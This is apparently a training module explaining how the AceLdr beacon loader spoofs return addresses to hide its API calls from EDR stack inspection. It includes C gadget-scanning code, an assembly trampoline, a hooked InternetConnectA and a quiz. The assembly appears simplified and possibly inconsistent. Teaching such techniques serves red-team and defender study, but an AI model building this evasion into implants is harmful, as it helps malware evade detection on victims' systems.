Module 7: Return Address Spoofing
Making your call stacks look like they came from legitimate code
AdvancedThe Threat Model
Why Return Addresses Matter
Modern EDR products and forensic tools inspect the call stack of threads making sensitive API calls. Every CALL instruction pushes a return address onto the stack. When a beacon residing in unbacked (non-file-backed) memory calls HeapAlloc or NtWaitForSingleObject, the return address on the stack points back into suspicious RWX memory that doesn't correspond to any known DLL — an immediate red flag.
Defenders use tools like Moneta, Hunt-Sleeping-Beacons, and BeaconEye to walk thread stacks and flag return addresses that point into:
- Unbacked private memory (no file mapping)
- Memory with
PAGE_EXECUTE_READWRITEpermissions - Regions whose size and characteristics match known beacon patterns
AceLdr's return address spoofing replaces the real return address on the stack with one that points into a legitimate, signed DLL, making the call stack appear benign.
The JMP [RBX] Gadget
The foundation of AceLdr's spoofing is a specific two-byte instruction sequence found inside legitimate DLLs:
Assembly
FF 23 ; JMP QWORD PTR [RBX]
Why This Specific Gadget?
The FF 23 Byte Sequence
AceLdr needs a gadget that:
- Resides in a legitimate, signed DLL — So the spoofed return address passes stack-walk verification
- Performs an indirect jump through a register — So we can control where execution actually goes
- Uses RBX specifically — Because RBX is a callee-saved (non-volatile) register in the x64 calling convention, meaning it survives across function calls
The bytes FF 23 encode JMP QWORD PTR [RBX]. After the target API returns, instead of returning to the beacon's suspicious address, execution goes to the gadget inside a trusted DLL, which then jumps to the address stored in [RBX] — which we control.
FindGadget — Locating the Gadget at Runtime
AceLdr cannot hardcode the gadget's address because DLLs are loaded at different base addresses due to ASLR. Instead, it scans the .text section of a legitimate DLL for the FF 23 byte sequence:
C — util.c
PVOID FindGadget(PVOID Module) {
PIMAGE_DOS_HEADER Dos = Module;
PIMAGE_NT_HEADERS Nt = (PVOID)((UINT_PTR)Module + Dos->e_lfanew);
PIMAGE_SECTION_HEADER Sec = IMAGE_FIRST_SECTION(Nt);
// Walk sections to find .text
for (UINT16 i = 0; i < Nt->FileHeader.NumberOfSections; i++, Sec++) {
// Check for executable section
if (!(Sec->Characteristics & IMAGE_SCN_MEM_EXECUTE))
continue;
PBYTE Start = (PBYTE)Module + Sec->VirtualAddress;
PBYTE End = Start + Sec->Misc.VirtualSize;
// Scan for FF 23 (JMP [RBX])
for (PBYTE p = Start; p < End - 1; p++) {
if (p[0] == 0xFF && p[1] == 0x23) {
return (PVOID)p;
}
}
}
return NULL;
}
Walkthrough
- Parse the PE of the target DLL (e.g.,
kernel32.dll) - Locate executable sections by checking
IMAGE_SCN_MEM_EXECUTE - Linear scan through the section bytes looking for the
0xFF, 0x23pair - Return the first match — this is our gadget address inside a signed, legitimate DLL
Why It Must Be in a Legitimate DLL
If the gadget were in unbacked memory (like the beacon itself), the spoof would be pointless — the return address would still point to suspicious memory. The entire point is that tools inspecting the stack see a return address inside kernel32.dll or another signed system DLL, which passes all legitimacy checks.
The PRM Structure
AceLdr passes spoofing parameters through a structure called PRM (Parameters for Return address Manipulation):
C — structs
typedef struct _PRM {
PVOID Trampoline; // Address of the JMP [RBX] gadget in a legit DLL
PVOID Function; // Address of the real API to call (e.g., real HeapAlloc)
PVOID Rbx; // Value to store in RBX (real return address)
} PRM, *PPRM;
| Field | Purpose | Example Value |
|---|---|---|
Trampoline |
Address of FF 23 gadget in a signed DLL |
kernel32.dll+0x1A3F2 |
Function |
Real API function to call | &HeapAlloc |
Rbx |
Pointer to the real return address (stored where RBX points) | Stack address holding real return |
SpoofRetAddr — The C Wrapper
The C-level entry point prepares the PRM struct and calls into assembly:
C — retaddr.c
PVOID SpoofRetAddr(PVOID Function, PVOID Arg1, ...) {
PRM Param;
// Set up the trampoline (JMP [RBX] gadget found earlier)
Param.Trampoline = STUB.Gadget;
// The real function to call
Param.Function = Function;
// Spoof will call the assembly stub, which:
// 1. Saves real return address
// 2. Replaces it with Trampoline (gadget in legit DLL)
// 3. Sets RBX to point to saved real return address
// 4. Calls the real function
// 5. Function returns to gadget -> JMP [RBX] -> returns to us
return Spoof(&Param, Arg1, ...);
}
Spoof Assembly — The Core Mechanism
The actual stack manipulation happens in hand-written assembly (spoof.asm):
x86-64 Assembly — spoof.asm
; Spoof(PRM* param, args...)
Spoof PROC
; Step 1: Save the real return address from the stack
pop rax ; Pop real return address into RAX
; Step 2: Save callee-saved registers we'll clobber
push rbx ; Save original RBX (callee-saved)
; Step 3: Load PRM struct fields
mov rbx, [rcx] ; RBX = PRM.Trampoline (gadget address)
mov rcx, [rcx+8] ; RCX = PRM.Function (real API addr)
; Step 4: Set up the spoofed return address
; Push the gadget address as the "return address" for the API
; When the API does RET, it will return to the gadget (in legit DLL)
push rbx ; Push Trampoline as fake return address
; Step 5: Store the real return info where RBX points
; RBX now points to our saved data on the stack
; The gadget does JMP [RBX], which will jump to our real return
lea rbx, [rsp+8] ; RBX points to saved real RBX on stack
mov [rsp+8], rax ; Store real return address where RBX points
; Step 6: Jump to the real API function
jmp rcx ; Call the real API (e.g., HeapAlloc)
; API returns via RET -> pops Trampoline addr
; Trampoline = JMP [RBX] -> jumps to real return
Spoof ENDP
The 6-Step Spoofing Flow
Return Address Spoofing Lifecycle
Pop real return
addr into RAX
Save RBX
(callee-saved)
Load Trampoline
& Function from PRM
Push Trampoline
as fake return
Store real return
where RBX points
JMP to real API
(stack is spoofed)
What Happens When the API Returns
Return Path
executes
RET(gadget in kernel32)
JMP [RBX]RBX points to saved return
our hook code
From the EDR's perspective, when it inspects the call stack during the API call, it sees:
Without Spoofing
HeapAlloc
← 0x7FF600001234 (unbacked RWX memory!)
← 0x7FF600001100 (more suspicious memory)
With Spoofing
HeapAlloc
← 0x7FFB12341A3F (kernel32.dll+0x1A3F)
← 0x7FFB11110000 (legitimate caller)
The SPOOF Macro in Practice
For convenience, AceLdr provides a SPOOF macro that wraps the entire spoofing flow. Here's how InternetConnectA_Hook uses it:
C — hooks/net.c
HINTERNET WINAPI InternetConnectA_Hook(
HINTERNET hInternet,
LPCSTR lpszServerName,
INTERNET_PORT nServerPort,
LPCSTR lpszUserName,
LPCSTR lpszPassword,
DWORD dwService,
DWORD dwFlags,
DWORD_PTR dwContext
) {
// SPOOF macro: calls SpoofRetAddr with the real InternetConnectA
// and forwards all arguments. The return address on the stack
// will point to the gadget in a legit DLL, not back to the beacon.
return (HINTERNET)SPOOF(
STUB.Api.InternetConnectA, // Real API address
hInternet,
lpszServerName,
nServerPort,
lpszUserName,
lpszPassword,
dwService,
dwFlags,
dwContext
);
}
The SPOOF macro expands to a call to SpoofRetAddr, which fills the PRM struct and invokes the assembly trampoline. The hook function itself is straightforward — it simply forwards all arguments through the spoofing mechanism.
Why Not Spoof Everything?
AceLdr only spoofs return addresses on 4 specific APIs (HeapAlloc, RtlAllocateHeap, InternetConnectA, NtWaitForSingleObject). These are the calls most likely to be inspected by EDR during stack walks. Spoofing every API call would add unnecessary overhead and complexity. The two remaining hooks (Sleep and GetProcessHeap) serve entirely different purposes and don't need return address spoofing.
Knowledge Check
Module 7 Quiz
1. What byte sequence does AceLdr scan for when looking for the JMP [RBX] gadget?
FF 23, which encodes JMP QWORD PTR [RBX]. This is an indirect jump through the memory address pointed to by RBX. Note that FF E3 would be JMP RBX (jumping to the value in RBX itself), which is a different instruction. AceLdr needs the indirect variant because RBX points to a memory location holding the real return address.2. Why must the JMP [RBX] gadget reside in a legitimate, signed DLL?